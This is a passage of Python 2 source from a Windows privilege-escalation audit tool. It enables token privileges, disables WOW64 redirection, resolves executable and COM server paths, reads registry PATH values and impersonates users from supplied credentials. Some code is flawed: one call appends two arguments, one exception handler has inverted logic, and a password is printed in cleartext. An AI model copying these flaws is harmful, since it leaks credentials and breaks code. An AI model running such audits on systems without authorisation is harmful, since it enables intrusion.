or privtuple[0] == win32security.LookupPrivilegeValue(wpc.conf.remote_server, "SeSecurityPrivilege"): 89 | # print "Added privilege " + str(privtuple[0]) 90 | # privtuple[1] = 2 # tuples are immutable. WHY?! 91 | newprivs.append((privtuple[0], 2)) # SE_PRIVILEGE_ENABLED 92 | else: 93 | newprivs.append((privtuple[0], privtuple[1])) 94 | 95 | # Adjust privs 96 | privs = tuple(newprivs) 97 | str(win32security.AdjustTokenPrivileges(th, False, privs)) 98 | 99 | 100 | def load_libs(): 101 | # Load win32security 102 | # 103 | # Try to open file and ingore the result. This gets win32security loaded and working. 104 | # We can then turn off WOW64 and call repeatedly. If we turn off WOW64 first, 105 | # win32security will fail to work properly. 106 | try: 107 | sd = win32security.GetNamedSecurityInfo( 108 | ".", 109 | win32security.SE_FILE_OBJECT, 110 | win32security.OWNER_SECURITY_INFORMATION | win32security.DACL_SECURITY_INFORMATION 111 | ) 112 | except: 113 | # nothing 114 | pass 115 | 116 | # Load win32net 117 | # 118 | # NetLocalGroupEnum fails with like under Windows 7 64-bit, but not XP 32-bit: 119 | # pywintypes.error: (127, 'NetLocalGroupEnum', 'The specified procedure could not be found.') 120 | dummy = win32net.NetLocalGroupEnum(None, 0, 0, 1000) 121 | 122 | 123 | def disable_wow64(): 124 | # Disable WOW64 - we WANT to see 32-bit areas of the filesystem 125 | # 126 | # Need to wrap in a try because the following call will error on 32-bit windows 127 | try: 128 | k32.Wow64DisableWow64FsRedirection(ctypes.byref(wow64)) 129 | wpc.conf.on64bitwindows = 1 130 | except: 131 | wpc.conf.on64bitwindows = 0 132 | 133 | # WOW64 is now disabled, so we can read file permissions without Windows redirecting us from system32 to syswow64 134 | 135 | 136 | def enable_wow64(): 137 | # When we interrogate a 32-bit process we need to see the filesystem 138 | # the same we it does. In this case we'll need to enable wow64 139 | try: 140 | k32.Wow64DisableWow64FsRedirection(ctypes.byref(wow64)) 141 | except: 142 | pass 143 | 144 | 145 | # We don't report issues about permissions being held by trusted users or groups 146 | # hard-coded users and groups (wpc.conf.trusted_principals_fq[]) done 147 | # user-defined users and groups (--ignore) TODO 148 | # hard-coded SIDs (S-1-5-32-549 is common) TODO 149 | # user-defined SIDs (--ignore) TODO 150 | # SIDs which don't resolve (probably only want to ignore local SIDs, not domain SIDs) TODO 151 | # Group that are empty (e.g. Power Users should normally be ignored because it's empty) TODO - make it an option 152 | # Ignore everything that the current user isn't a member of (for privescing) TODO 153 | def define_trusted_principals(): 154 | # Ignore "NT AUTHORITY\TERMINAL SERVER USER" if HKLM\System\CurrentControlSet\Control\Terminal Server\TSUserEnabled = 0 or doesn't exist 155 | # See http://support.microsoft.com/kb/238965 for details 156 | r = regkey(r"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server") 157 | 158 | if r.is_present(): 159 | v = r.get_value("TSUserEnabled") 160 | if v is None: 161 | print "[i] TSUserEnabled registry value is absent. Excluding TERMINAL SERVER USER" 162 | elif v != 0: 163 | print "[i] TSUserEnabled registry value is %s. Including TERMINAL SERVER USER" % v 164 | wpc.conf.trusted_principals_fq.append("NT AUTHORITY\TERMINAL SERVER USER") 165 | else: 166 | print "[i] TSUserEnabled registry value is 0. Excluding TERMINAL SERVER USER" 167 | else: 168 | print "[i] TSUserEnabled registry key is absent. Excluding TERMINAL SERVER USER" 169 | print 170 | 171 | for t in wpc.conf.trusted_principals_fq: 172 | try: 173 | sid, name, i = win32security.LookupAccountName(wpc.conf.remote_server, t) 174 | if sid: 175 | p = principal(sid) 176 | #print "Trusted: %s (%s) [%s]" % (p.get_fq_name(), p.get_type_string(), p.is_group_type()) 177 | #print "[D] Added trusted principal %s. is group? %s" % (p.get_fq_name(), p.is_group_type()) 178 | if p.is_group_type(): 179 | p = Group(p.get_sid()) 180 | # for m in p.get_members(): 181 | # print "Member: %s" % m.get_fq_name() 182 | else: 183 | p = user(p.get_sid()) 184 | # print p.get_groups() 185 | 186 | wpc.conf.trusted_principals.append(p) 187 | 188 | else: 189 | print "[E] can't look up sid for " + t 190 | except: 191 | pass 192 | 193 | # TODO we only want to ignore this if it doesn't resolve 194 | try: 195 | # Server Operators group 196 | #print "[D] converting string sid" 197 | #print "%s" % win32security.ConvertStringSidToSid("S-1-5-32-549") 198 | p = Group(win32security.ConvertStringSidToSid("S-1-5-32-549")) 199 | 200 | except: 201 | wpc.conf.trusted_principals.append(p) 202 | 203 | # TODO this always ignored power users. not what we want. 204 | # only want to ignore when group doesn't exist. 205 | try: 206 | p = Group(win32security.ConvertStringSidToSid("S-1-5-32-547")) 207 | wpc.conf.trusted_principals.append(p) 208 | except: 209 | pass 210 | 211 | print "Considering these users to be trusted:" 212 | for p in wpc.conf.trusted_principals: 213 | print "* " + p.get_fq_name() 214 | print 215 | 216 | 217 | # Walk a directory tree, returning all matching files 218 | # 219 | # args: 220 | # dir directory to descend 221 | # extensions list of file entensions to return e.g. ('bat', 'exe', ...) 222 | # inc_dirs whether to return dirs or not # TODO need option to only return dirs that contain files of interest 223 | # TODO what if we pass a non-existent directory? 224 | def dirwalk(directory, extensions, include_dirs): 225 | 226 | # Compile regular expression for file entension matching 227 | re_string = r'\.' + r'$|\.'.join(extensions) # '\.exe$|\.py$|\.svn-base$|\.com$|\.bat$|\.dll$' 228 | re_exe = re.compile(re_string, re.IGNORECASE) 229 | 230 | for root, dirs, files in oswalk(directory): 231 | #print "root=%s, dirs=%s, files=%s" % (root, dirs, files) 232 | yield root 233 | 234 | for file in files: 235 | m = re_exe.search(file) 236 | if m is None: 237 | continue 238 | else: 239 | yield root + "\\" + file 240 | 241 | if include_dirs: 242 | for directory in dirs: 243 | yield root + "\\" + directory 244 | 245 | # Copy of os.walk with minor mod to detect reparse points 246 | def oswalk(top, topdown=True, onerror=None, followlinks=False): 247 | from os.path import join, isdir, islink 248 | import errno 249 | error = None 250 | try: 251 | # Note that listdir and error are globals in this module due 252 | # to earlier import-*. 253 | names = os.listdir(top) 254 | except: 255 | return 256 | 257 | dirs, nondirs = [], [] 258 | for name in names: 259 | if isdir(join(top, name)): 260 | dirs.append(name) 261 | else: 262 | nondirs.append(name) 263 | 264 | if topdown: 265 | yield top, dirs, nondirs 266 | for name in dirs: 267 | path = join(top, name) 268 | if followlinks or not is_reparse_point(path): 269 | for x in oswalk(path, topdown, onerror, followlinks): 270 | yield x 271 | if not topdown: 272 | yield top, dirs, nondirs 273 | 274 | 275 | def is_reparse_point(d): 276 | try: 277 | attr = win32api.GetFileAttributes(d) 278 | # reparse point http://msdn.microsoft.com/en-us/library/windows/desktop/gg258117(v=vs.85).aspx 279 | if attr & 0x400: 280 | print "[D] Is reparse point: %s" % d 281 | return 1 282 | except: 283 | pass 284 | return 0 285 | 286 | 287 | # arg s contains windows-style env vars like: %windir%\foo 288 | def env_expand(s): 289 | re_env = re.compile(r'%\w+%') 290 | return re_env.sub(expander, s) 291 | 292 | 293 | def find_in_path(f): 294 | f_str = f.get_name() 295 | for d in os.environ.get('PATH').split(';'): 296 | #print "[D] looking in path for %s" % d + "\\" + f_str 297 | if os.path.exists(d + "\\" + f_str): 298 | #print "[D] found in path %s" % d + "\\" + f_str 299 | return File(d + "\\" + f_str) 300 | return None 301 | 302 | 303 | def lookup_files_for_clsid(clsid): 304 | results = [] 305 | # Potentially intersting subkeys of clsids are listed here: 306 | # http://msdn.microsoft.com/en-us/library/windows/desktop/ms691424(v=vs.85).aspx 307 | 308 | for v in ("InprocServer", "InprocServer32", "LocalServer", "LocalServer32"): 309 | r = regkey("HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\" + clsid + "\\" + v) 310 | if r.is_present: 311 | d = r.get_value("") # "(Default)" value 312 | if d: 313 | d = env_expand(d) 314 | results.append([r, v, File(d)]) 315 | # else: 316 | # print "[i] Skipping non-existent clsid: %s" % r.get_name() 317 | 318 | return results 319 | 320 | 321 | def expander(mo): 322 | return os.environ.get(mo.group()[1:-1], 'UNKNOWN') 323 | 324 | 325 | # Attempts to clean up strange looking file paths like: 326 | # \??\C:\WINDOWS\system32\csrss.exe 327 | # \SystemRoot\System32\smss.exe 328 | def get_exe_path_clean(binary_dirty): 329 | exe_path_clean = None 330 | 331 | # remove quotes and leading white space 332 | m = re.search('^[\s]*?"([^"]+)"', binary_dirty) 333 | if m and os.path.exists(m.group(1)): 334 | exe_path_clean = m.group(1) 335 | return exe_path_clean 336 | else: 337 | if m: 338 | binary_dirty = m.group(1) 339 | 340 | # Paths for drivers are written in an odd way, so we regex them 341 | re1 = re.compile(r'^\\systemroot', re.IGNORECASE) 342 | binary_dirty = re1.sub(os.getenv('SystemRoot'), binary_dirty) 343 | re2 = re.compile(r'^system32\\', re.IGNORECASE) 344 | binary_dirty = re2.sub(os.getenv('SystemRoot') + r'\\system32\\', binary_dirty) 345 | re2 = re.compile(r'^\\\?\?\\', re.IGNORECASE) 346 | binary_dirty = re2.sub('', binary_dirty) 347 | 348 | if os.path.exists(binary_dirty): 349 | exe_path_clean = binary_dirty 350 | return exe_path_clean 351 | 352 | chunks = binary_dirty.split(" ") 353 | candidate = "" 354 | for chunk in chunks: 355 | if candidate: 356 | candidate = candidate + " " 357 | candidate = candidate + chunk 358 | 359 | if os.path.exists(candidate) and os.path.isfile(candidate): 360 | exe_path_clean = candidate 361 | break 362 | 363 | if os.path.exists(candidate + ".exe") and os.path.isfile(candidate + ".exe"): 364 | exe_path_clean = candidate + ".exe" 365 | break 366 | 367 | if wpc.conf.on64bitwindows: 368 | candidate2 = candidate.replace("system32", "syswow64") 369 | if os.path.exists(candidate2) and os.path.isfile(candidate2): 370 | exe_path_clean = candidate2 371 | break 372 | 373 | if os.path.exists(candidate2 + ".exe") and os.path.isfile(candidate2 + ".exe"): 374 | exe_path_clean = candidate2 + ".exe" 375 | break 376 | return exe_path_clean 377 | 378 | 379 | def impersonate(username, password, domain): 380 | if username: 381 | print "Using alternative credentials:" 382 | print "Username: " + str(username) 383 | print "Password: " + str(password) 384 | print "Domain: " + str(domain) 385 | handle = win32security.LogonUser(username, domain, password, win32security.LOGON32_LOGON_NEW_CREDENTIALS, win32security.LOGON32_PROVIDER_WINNT50) 386 | win32security.ImpersonateLoggedOnUser(handle) 387 | else: 388 | print "[i] Running as current user. No logon creds supplied (-u, -D, -p)." 389 | print 390 | 391 | def populate_scaninfo(report): 392 | import socket 393 | import datetime 394 | report.add_info_item('hostname', socket.gethostname()) 395 | report.add_info_item('datetime', datetime.datetime.now().strftime("%Y-%m-%d %H:%M")) 396 | report.add_info_item('version', wpc.utils.get_version()) 397 | report.add_info_item('user', os.environ['USERDOMAIN'] + "\\" + os.environ['USERNAME']) 398 | report.add_info_item('domain', win32api.GetDomainName()) 399 | ver_list = win32api.GetVersionEx(1) 400 | 401 | try: 402 | report.add_info_item('ipaddress', ",".join(socket.gethostbyname_ex(socket.gethostname())[2])) # have to do this before Wow64DisableWow64FsRedirection 403 | except: 404 | report.add_info_item('ipaddress', "") # have to do this before Wow64DisableWow64FsRedirection 405 | 406 | os_ver = str(ver_list[0]) + "." + str(ver_list[1]) 407 | # version numbers from http://msdn.microsoft.com/en-us/library/ms724832(VS.85).aspx 408 | if os_ver == "4.0": 409 | os_str = "Windows NT" 410 | if os_ver == "5.0": 411 | os_str = "Windows 2000" 412 | if os_ver == "5.1": 413 | os_str = "Windows XP" 414 | if os_ver == "5.2": 415 | os_str = "Windows 2003" 416 | if os_ver == "6.0": 417 | os_str = "Windows Vista" 418 | if os_ver == "6.0": 419 | os_str = "Windows 2008" 420 | if os_ver == "6.1": 421 | os_str = "Windows 2008 R2" 422 | if os_ver == "6.1": 423 | os_str = "Windows 7" 424 | 425 | report.add_info_item('os', os_str) 426 | report.add_info_item('os_version', str(ver_list[0]) + "." + str(ver_list[1]) + "." + str(ver_list[2]) + " SP" + str(ver_list[5])) 427 | 428 | def get_system_path(): 429 | key_string = 'SYSTEM\CurrentControlSet\Control\Session Manager\Environment' 430 | try: 431 | keyh = win32api.RegOpenKeyEx(win32con.HKEY_LOCAL_MACHINE, key_string , 0, win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE | win32con.KEY_READ) 432 | except: 433 | return None 434 | 435 | try: 436 | path, type = win32api.RegQueryValueEx(keyh, "PATH") 437 | except: 438 | return None 439 | 440 | return wpc.utils.env_expand(path) 441 | 442 | 443 | def get_user_paths(): 444 | try: 445 | keyh = win32api.RegOpenKeyEx(win32con.HKEY_USERS, None , 0, win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE | win32con.KEY_READ) 446 | except: 447 | return 0 448 | paths = [] 449 | subkeys = win32api.RegEnumKeyEx(keyh) 450 | for subkey in subkeys: 451 | try: 452 | subkeyh = win32api.RegOpenKeyEx(keyh, subkey[0] + "\\Environment" , 0, win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE | win32con.KEY_READ) 453 | except: 454 | pass 455 | else: 456 | try: 457 | path, type = win32api.RegQueryValueEx(subkeyh, "PATH") 458 | try: 459 | user_sid = win32security.ConvertStringSidToSid(subkey[0]) 460 | except: 461 | print "WARNING: Can't convert sid %s to name. Skipping." % subkey[0] 462 | continue 463 | 464 | paths.append(user(user_sid), path) 465 | except: 466 | pass 467 | return paths --------------------------------------------------------------------------------